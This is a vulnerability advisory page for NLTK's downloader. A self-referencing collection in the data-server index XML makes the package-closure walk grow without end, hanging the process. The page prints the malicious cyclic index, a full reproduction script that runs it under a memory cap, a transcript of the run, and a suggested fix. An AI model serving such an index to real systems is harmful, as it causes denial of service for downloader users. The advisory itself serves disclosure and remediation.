GHSA-PCM8-FQJX-RVX8
NLTK: Downloader cyclic collection indices cause an infinite closure walk
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Remediación | Parche 3.10.4 | nltk · -29 d desde divulgación | |
| Monitoreo | Detectada | Ingresó al índice | |
| Divulgación | Publicada | GHSA-PCM8-FQJX-RVX8 divulgada · CVSS 6.5 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Fuente: GitHub Security Advisories | Registro visto por primera vez en GitHub Security Advisories | |
| Monitoreo | Fuente: OSV | Registro visto por primera vez en OSV | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
> affected: PyPI `nltk` `>= 3.6.7` — `nltk.downloader` index parsing (`Downloader._update_index`)
> dynamically reproduced: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4)
---
_Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._
Summary
`Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `<item ref="…">` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection's recursive package closure with a breadth-first walk that has no visited set and no depth cap:
# nltk/downloader.py:1300-1310
for collection in self._collections.values():
packages = {}
queue = [collection]
for child in queue:
if isinstance(child, Collection):
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()A self-referencing or mutually-referencing index — e.g. `<collection id="a"><item ref="a"/></collection>` — turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever. The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.
Details
Root cause is the combination of three unguarded steps:
- `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `<item ref="…">` attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle.
- `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`.
- The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection.
The input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `<collections>/<collection>` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` — the option's `dest` is `server_index_url` — plus `NLTK_DOWNLOAD_URL` and the Shell/GUI "Set Server URL"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.
PoC
The self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in separate child processes under an address-space cap (`RLIMIT_AS`). That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.
Scope note: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`–`3.6.6` share the identical BFS code path (verified statically at the tag) but were not run; the downloader tool predates `3.6` and earlier releases were not assessed.
Environment for the recorded run: CPython 3.10.12 on Linux; the script defaults to a 512 MiB address-space cap per child and a 60 s hard timeout. All four version runs pass 4/4 checks.
Live transcript (recorded run on the `nltk` `3.10.3` wheel; the `3.6.7`, `3.9.2`, and `develop` `6818767b9` runs produce the same 4/4 result, differing only in the `downloader.py` line number in the traceback — `987`, `972`, and `1305` respectively — and the elapsed time):
[PASS] precondition: cyclic index has a self-referencing <collection> (ref='a' inside <collection id='a'>)
[PASS] precondition: acyclic control index references only packages
[control] returned rc=0 in 0.2s
[PASS] control: Downloader.packages() returned (no hang)
[PASS] control: _packages parsed = ['p1']
[PASS] control: collection 'a' closure = ['p1'] (finite, as documented)
[PASS] control: acyclic index completes and yields the documented finite closure (rc=0)
[attack] rc=1 after 6.6s
[attack] entering Downloader.packages() on the self-referencing index ...
Traceback (most recent call last):
File "<string>", line 38, in <module>
File "nltk/downloader.py", line 627, in packages
self._update_index()
File "nltk/downloader.py", line 1305, in _update_index
queue.extend(child.children)
MemoryError
[PASS] attack: self-referencing index is not completed -- process aborted by the 512 MiB address-space cap (unbounded queue growth) (rc=1, MemoryError)
nltk under test: 3.10.3
RESULT 4/4 checks passed, 0 failedThe malicious index is exactly:
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>Impact
- Type: CWE-835 / CWE-400 — denial of service. A single fetch of a cyclic index hangs the downloader process with unbounded CPU and memory consumption; no confidentiality or integrity impact.
- Who is impacted: any deployment that uses `nltk.downloader` (directly, via `nltk.download()`, or through the Shell/GUI) against an index URL it does not fully control — third-party mirrors, internal mirrors, or the default GitHub-hosted index if it is ever compromised or MITM'd. Every entry point (`download()`, `info()`, `packages()`, `collections()`, `status()`) funnels through `_update_index` and is blocked.
- Attacker requirements: ability to serve an index XML at a URL the victim configures (operator error, malicious mirror, compromised/CDN-poisoned index host, or traffic interception). The victim is only required to use the URL once; the hang then recurs on every downloader operation until the index is replaced. No privileges and no interaction beyond the initial URL configuration are required.
- Effect: the process is permanently wedged in the closure BFS — 100% CPU and monotonically growing memory until OOM-killed. With the default 60-minute index refresh, merely running `nltk.download()` in a script or service turns a single poisoned index into an unresolvable hang.
Suggested fix: add a `visited` set to the closure BFS so each `Collection` is expanded at most once (a cycle then contributes its packages once instead of looping), e.g.:
for collection in self._collections.values():
packages = {}
queue = [collection]
seen = set()
for child in queue:
if isinstance(child, Collection):
if child.id in seen:
continue
seen.add(child.id)
queue.extend(child.children)
elif isinstance(child, Package):
packages[child.id] = child
collection.packages = packages.values()Defense-in-depth: cap the number of expanded nodes (or detect and refuse cyclic `ref` chains in `Collection.fromxml` / during the ref-replacement at `downloader.py:1285-1290`) so malformed or hostile indexes are rejected at parse time rather than at walk time. Add a regression test that serves a self-referencing collection index and asserts `packages()`/`info()` terminate and either skip or reject the cycle.
---
Reproduction script (self-contained)
#!/usr/bin/env python3
"""Self-checking reproduction: a cyclic collection index makes
``nltk.downloader.Downloader._update_index`` loop forever and exhaust memory.
Attack: an index XML whose ``<collection>`` references itself (or a mutual
cycle) becomes an object-level cycle when ``_update_index`` replaces ``ref``
strings with real ``Collection`` objects. The package-closure walk
(``for child in queue: ... queue.extend(child.children)``) has no visited set
and no depth cap, so the queue grows forever and the function never returns.
Controls:
* an acyclic index of the same shape completes and yields the expected
closure (the same function, the same caller, under the same memory cap);
* the attack never returns normally: it either keeps running past a hard
timeout (observed hang) or is aborted by the child's address-space cap
(unbounded memory growth) -- in both cases the exact finite input that the
control handles instantly cannot be completed.
Usage:
python3 repro_nltk_downloader_cyclic_index.py [MEMCAP_MIB]
Environment:
NLTK_WHEEL path to an ``nltk`` wheel. If ``import nltk`` fails, the wheel is
installed into a scratch dir and put on PYTHONPATH for the
verification children.
NLTK_TIMEOUT hard timeout seconds for each child (default: 60).
MEMCAP_MIB address-space cap per child in MiB (default: 512); can also be
passed as the first positional argument.
"""
import os
import resource
import subprocess
import sys
import tempfile
import textwrap
import time
from xml.etree import ElementTree
def _default_memcap():
if len(sys.argv) > 1 and sys.argv[1] != "--child":
raw = sys.argv[1]
else:
raw = os.environ.get("MEMCAP_MIB", "512")
try:
value = int(raw)
except (TypeError, ValueError):
print("warning: invalid MEMCAP_MIB %r, falling back to 512" % raw, file=sys.stderr)
return "512"
return str(value) if value > 0 else "512"
MEMCAP_MIB = int(_default_memcap())
CHILD_TIMEOUT = float(os.environ.get("NLTK_TIMEOUT", "60"))
CYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Cyclic collection">
<item ref="a"/>
<item ref="p1"/>
</collection>
</collections>
</index>
"""
ACYCLIC_INDEX = """<?xml version="1.0"?>
<index>
<packages>
<package id="p1" name="Sample corpus" subdir="corpora/p1"
url="http://example.invalid/p1.zip" unzip="0" size="0" unzipped_size="0"/>
</packages>
<collections>
<collection id="a" name="Acyclic collection">
<item ref="p1"/>
</collection>
</collections>
</index>
"""
CHILD_DRIVER = r"""
import os
import resource
import sys
import nltk
import nltk.data as nltk_data
mode, url, workdir = sys.argv[1], sys.argv[2], sys.argv[3]
# Allow the local index file to be read under hardened pathsec (ENFORCE mode).
nltk_data.path.append(workdir)
cap = int(os.environ["NLTK_CHILD_MEMCAP_MIB"]) * 1024 * 1024
resource.setrlimit(resource.RLIMIT_AS, (cap, cap))
from nltk.downloader import Downloader
downloader = Downloader(server_index_url=url)
if mode == "control":
# _update_index() runs to completion here; the acyclic closure is finite.
packages = list(downloader.packages())
ids = sorted(p.id for p in packages)
print("[PASS] control: Downloader.packages() returned (no hang)")
assert ids == ["p1"], ids
print("[PASS] control: _packages parsed = %r" % ids)
col = next(c for c in downloader.collections() if c.id == "a")
closure = sorted(p.id for p in col.packages)
assert closure == ["p1"], closure
print("[PASS] control: collection 'a' closure = %r (finite, as documented)" % closure)
sys.exit(0)
elif mode == "attack":
# This call drives _update_index -> the collection-closure BFS. The index
# collection self-references itself, so the BFS never terminates; the queue
# keeps growing until the address-space cap aborts the process.
print("[attack] entering Downloader.packages() on the self-referencing index ...")
_ = downloader.packages()
print("[FAIL] attack: Downloader.packages() RETURNED -- cycle was not triggered")
sys.exit(2)
else:
print("[FAIL] unknown mode %r" % mode)
sys.exit(2)
"""
def build_site_env(workdir):
"""Return (env, site_path_or_None) so the children can import nltk."""
probe = subprocess.run(
[sys.executable, "-c", "import nltk"],
capture_output=True,
)
if probe.returncode == 0:
return dict(os.environ), None
wheel = os.environ.get("NLTK_WHEEL")
if not wheel:
return None, None
site = os.path.join(workdir, "site")
subprocess.run(
[sys.executable, "-m", "pip", "install", "--quiet", "--target", site, wheel],
check=True,
)
env = dict(os.environ)
env["PYTHONPATH"] = site + (os.pathsep + env["PYTHONPATH"] if env.get("PYTHONPATH") else "")
return env, site
def run_child(env, script, mode, url, workdir):
cmd = [sys.executable, script, "--child", mode, url, workdir]
start = time.monotonic()
try:
proc = subprocess.run(
cmd,
env=env,
capture_output=True,
text=True,
timeout=CHILD_TIMEOUT,
)
timed_out = False
except subprocess.TimeoutExpired as exc:
proc = exc
timed_out = True
elapsed = time.monotonic() - start
stdout = proc.stdout if hasattr(proc, "stdout") else ""
stderr = proc.stderr if hasattr(proc, "stderr") else ""
return timed_out, getattr(proc, "returncode", None), stdout, stderr, elapsed
def main():
results = []
def check(name, cond, detail=""):
results.append(bool(cond))
print("[%s] %s%s" % ("PASS" if cond else "FAIL", name, (" (%s)" % detail if detail else "")))
with tempfile.TemporaryDirectory(prefix="nltk_cycle_") as workdir:
cyclic_path = os.path.join(workdir, "index_cyclic.xml")
acyclic_path = os.path.join(workdir, "index_acyclic.xml")
with open(cyclic_path, "w") as fh:
fh.write(CYCLIC_INDEX)
with open(acyclic_path, "w") as fh:
fh.write(ACYCLIC_INDEX)
cyclic_url = "file://" + cyclic_path
acyclic_url = "file://" + acyclic_path
# --- Input modeling preconditions -------------------------------
cyc = ElementTree.parse(cyclic_path).getroot()
col = cyc.find("collections/collection")
check(
"precondition: cyclic index has a self-referencing <collection>",
col is not None and col.get("id") == "a"
and any((it.get("ref") == "a" for it in col.findall("item"))),
"ref='a' inside <collection id='a'>",
)
acy = ElementTree.parse(acyclic_path).getroot()
cola = acy.find("collections/collection")
check(
"precondition: acyclic control index references only packages",
cola is not None and [it.get("ref") for it in cola.findall("item")] == ["p1"],
)
env, site = build_site_env(workdir)
if env is None:
print("FAIL: nltk is not importable and NLTK_WHEEL is unset", file=sys.stderr)
return 1
child_env = dict(env)
child_env["NLTK_CHILD_MEMCAP_MIB"] = str(MEMCAP_MIB)
# --- Control: acyclic index completes under the same memory cap ---
t, rc, out, err, el = run_child(child_env, __file__, "control", acyclic_url, workdir)
print("[control] returned rc=%s in %.1fs%s" % (rc, el, " (TIMEOUT)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
check(
"control: acyclic index completes and yields the documented finite closure",
(not t) and rc == 0 and "collection 'a' closure = ['p1']" in (out + err),
"rc=%s" % rc,
)
# --- Attack: cyclic index must NOT complete ----------------------
t, rc, out, err, el = run_child(child_env, __file__, "attack", cyclic_url, workdir)
print("[attack] rc=%s after %.1fs%s" % (rc, el, " (still running at timeout)" if t else ""))
if out:
print(out, end="")
if err:
print(err, end="")
if t:
check(
"attack: self-referencing index hangs _update_index past the %ss timeout" % CHILD_TIMEOUT,
True,
"process still running, queue growing unboundedly",
)
elif rc is not None and rc != 0:
memory = "MemoryError" in (out + err) or "MemoryError" in err
check(
"attack: self-referencing index is not completed -- process aborted by the %s MiB address-space cap (unbounded queue growth)" % MEMCAP_MIB,
memory,
"rc=%s, %s" % (rc, "MemoryError" if memory else "non-zero exit"),
)
else:
check(
"attack: self-referencing index hangs _update_index (vulnerability reproduced)",
False,
"function returned -- cyclic input was handled",
)
# --- Version banner ---------------------------------------------
ver_out = subprocess.run(
[sys.executable, "-c", "import nltk; print(nltk.__version__)"],
env=env,
capture_output=True,
text=True,
).stdout.strip()
print("nltk under test: %s" % (ver_out or "unknown"))
passed = sum(results)
failed = len(results) - passed
print("RESULT %d/%d checks passed, %d failed" % (passed, len(results), failed))
return 0 if failed == 0 else 1
if __name__ == "__main__":
if len(sys.argv) >= 2 and sys.argv[1] == "--child":
os.execv(sys.executable, [sys.executable, "-c", textwrap.dedent(CHILD_DRIVER)] + sys.argv[2:])
sys.exit(main())Fix status (2026-09-28)
Status: MERGED on develop (unreleased; v3.10.3 of 2026-08-12 predates the fix).
PR: #3767 "Prevent infinite loop from cyclic collection indices" (ekaf), merged 2026-08-20, merge commit d2eb09a5b on develop. Fix commit: b77d329db (the downloader walks the collection closure with nltk.util.acyclic_breadth_first).
Probe: nltk/test/unit/security_probes/ghsa_pcm8_fqjx_rvx8.py (added in d53d0b790 on that PR); verdict on develop 2fa3f48fe: FIXED (cyclic collection graphs terminate: self, mutual, chain, diamond).
Release: none yet; no release tag contains b77d329db.
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
pypinltk |
Corregida | 3.10.4 | -29 d | 3.10.4 no afectada |
3.10.4Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-128140https://github.com/nltk/nltk/security/advisories/GHSA-pcm8-fqjx-rvx8https://github.com/nltk/nltk/pull/3767https://github.com/nltk/nltk/commit/b77d329db934711e053520588b22b4ac73539fa2https://github.com/nltk/nltkhttps://github.com/nltk/nltk/releases/tag/v3.10.4Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
